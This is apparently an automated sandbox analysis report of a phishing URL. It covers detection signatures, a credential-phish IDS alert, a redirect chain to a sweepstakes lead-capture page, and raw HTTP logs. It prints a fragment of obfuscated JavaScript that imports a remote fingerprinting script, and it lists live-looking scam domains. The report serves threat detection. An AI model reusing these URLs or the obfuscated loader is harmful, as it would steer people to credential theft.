Edit tour

Windows Analysis Report
https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108

Overview

General Information

Sample URL:	https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108
Analysis ID:	1525129
Infos:

Detection

Phisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected Phisher

HTML page contains obfuscated javascript

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

Stores files to the Windows start menu directory

Suspicious form URL found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4680 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1992,i,2842306626827316037,12620561187067388826,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/dsfghfdaregfdgshfgdfh/l1.html#9/372-16527/1270-243896-29108" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_131	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

Suricata Signatures

ET PHISHING Generic Survey Credential Phish Landing Page 2024-06-11

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T18:18:10.891432+0200	2053469	1	Successful Credential Theft Detected	104.21.57.136	443	192.168.2.16	49717	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_131, type: DROPPED

HTML page contains obfuscated javascript

Source: https://s3.us-west-2.amazonaws.com/jsma/BkJz87K/ma.js

HTTP Parser: var _0x3c9787=_0xccbe;(function(_0x2d1483,_0x22a8fc){var _0x3f7399=_0xccbe,_0x5c721b=_0x2d1483();whi

Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52

HTTP Parser: Number of links: 0

Source: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7

HTTP Parser: Base64 decoded: https://shineheater.com/click?trvid=11356&s2=1236503140&s1=351518&s3=7605&s4=4598

Source: https://s3.us-west-2.amazonaws.com/jsma/BkJz87K/ma.js

HTTP Parser: Found new string: script var _0x3c9787=_0xccbe;(function(_0x2d1483,_0x22a8fc){var _0x3f7399=_0xccbe,_0x5c721b=_0x2d1483();while(!![]){try{var _0x5e41a1=parseInt(_0x3f7399(0x187))/0x1*(parseInt(_0x3f7399(0x140))/0x2)+-parseInt(_0x3f7399(0x166))/0x3*(-parseInt(_0x3f7399(0x8b))/0x4)+-parseInt(_0x3f7399(0xa8))/0x5+parseInt(_0x3f7399(0x134))/0x6*(parseInt(_0x3f7399(0xdf))/0x7)+-parseInt(_0x3f7399(0x161))/0x8+-parseInt(_0x3f7399(0x146))/0x9*(parseInt(_0x3f7399(0x113))/0xa)+parseInt(_0x3f7399(0xc3))/0xb;if(_0x5e41a1===_0x22a8fc)break;else _0x5c721b['push'](_0x5c721b['shift']());}catch(_0x4421ae){_0x5c721b['push'](_0x5c721b['shift']());}}}(_0x5429,0xd162c));let manalytics=function(){var _0x2bc151=_0xccbe;let _0x105952=function(_0x15eb1b){var _0x476596=_0xccbe;let _0x543234=getShortId();if(!_0x543234)return;import(_0x476596(0xc9)+_0x476596(0x151)+_0x476596(0x9a)+_0x476596(0x149)+_0x476596(0xdd)+'.ama'+_0x476596(0xee)+_0x476596(0x17b)+_0x476596(0x143)+_0x476596(0xcd)+'fp.j'+'s')['then'](_0x47b4a2=>_0x47b4a2[_0x476596(0xff)]())[_0x476596(0x101)...

Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52

HTTP Parser: Title: Car Emergency Kit Sweepstakes does not match URL

Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	HTTP Parser: Form action: ajax.php?method=new_prospect
Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	HTTP Parser: Form action: ajax.php?method=new_prospect

Source: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7	HTTP Parser: No favicon
Source: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7	HTTP Parser: No favicon
Source: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7	HTTP Parser: No favicon
Source: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7	HTTP Parser: No favicon
Source: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7	HTTP Parser: No favicon

Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	HTTP Parser: No <meta name="copyright".. found
Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	HTTP Parser: No <meta name="copyright".. found
Source: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49796 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2053469 - Severity 1 - ET PHISHING Generic Survey Credential Phish Landing Page 2024-06-11 : 104.21.57.136:443 -> 192.168.2.16:49717

Source: global traffic

TCP traffic: 192.168.2.16:49696 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: kindacoil.site to https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: shineheater.com to https://www.scgyvdstrk.com/63cfp/7j9l55/?sub2=attu66v5scje
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.scgyvdstrk.com to https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/cemk/?affid=4&c1=&c2=attu66v5scje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200

Source: global traffic	HTTP traffic detected: GET /0/0/0/264e35134ac25f9de46ef31bca03b2d6/9/372-16527/1270-243896-29108 HTTP/1.1Host: vaultdores.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://dsfghfdaregfdgshfgdfh.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?id=297&s1=351518&s2=1236503140&s3=7605&s4=4598&p=us5yasweps3a HTTP/1.1Host: kindacoil.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://vaultdores.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://vaultdores.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /master/us217/style.min.css HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/animate.min.css HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/terms/css/_modal.css HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/datehead.js HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /inc/msg.js?a58c8a565bfd2d3dfa996defbc12dda9 HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/script.js HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/script.js HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/datehead.js HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /inc/msg.js?a58c8a565bfd2d3dfa996defbc12dda9 HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /jsma/BkJz87K/ma.js HTTP/1.1Host: s3.us-west-2.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /master/terms/js/_modal.js?v=7 HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/bg.jpg HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/master/us217/style.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /scripts/push/v9e118mez8 HTTP/1.1Host: trk-elevostra.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /master/terms/js/_modal.js?v=7 HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/bg.jpg HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /jsma/fp.js HTTP/1.1Host: s3.us-west-2.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pawern.markiwalk.latsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jsma/BkJz87K/ma.js HTTP/1.1Host: s3.us-west-2.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /master/us217/f_secure_1.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /scripts/push/v9e118mez8 HTTP/1.1Host: trk-elevostra.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/logo.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/flaglogo.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
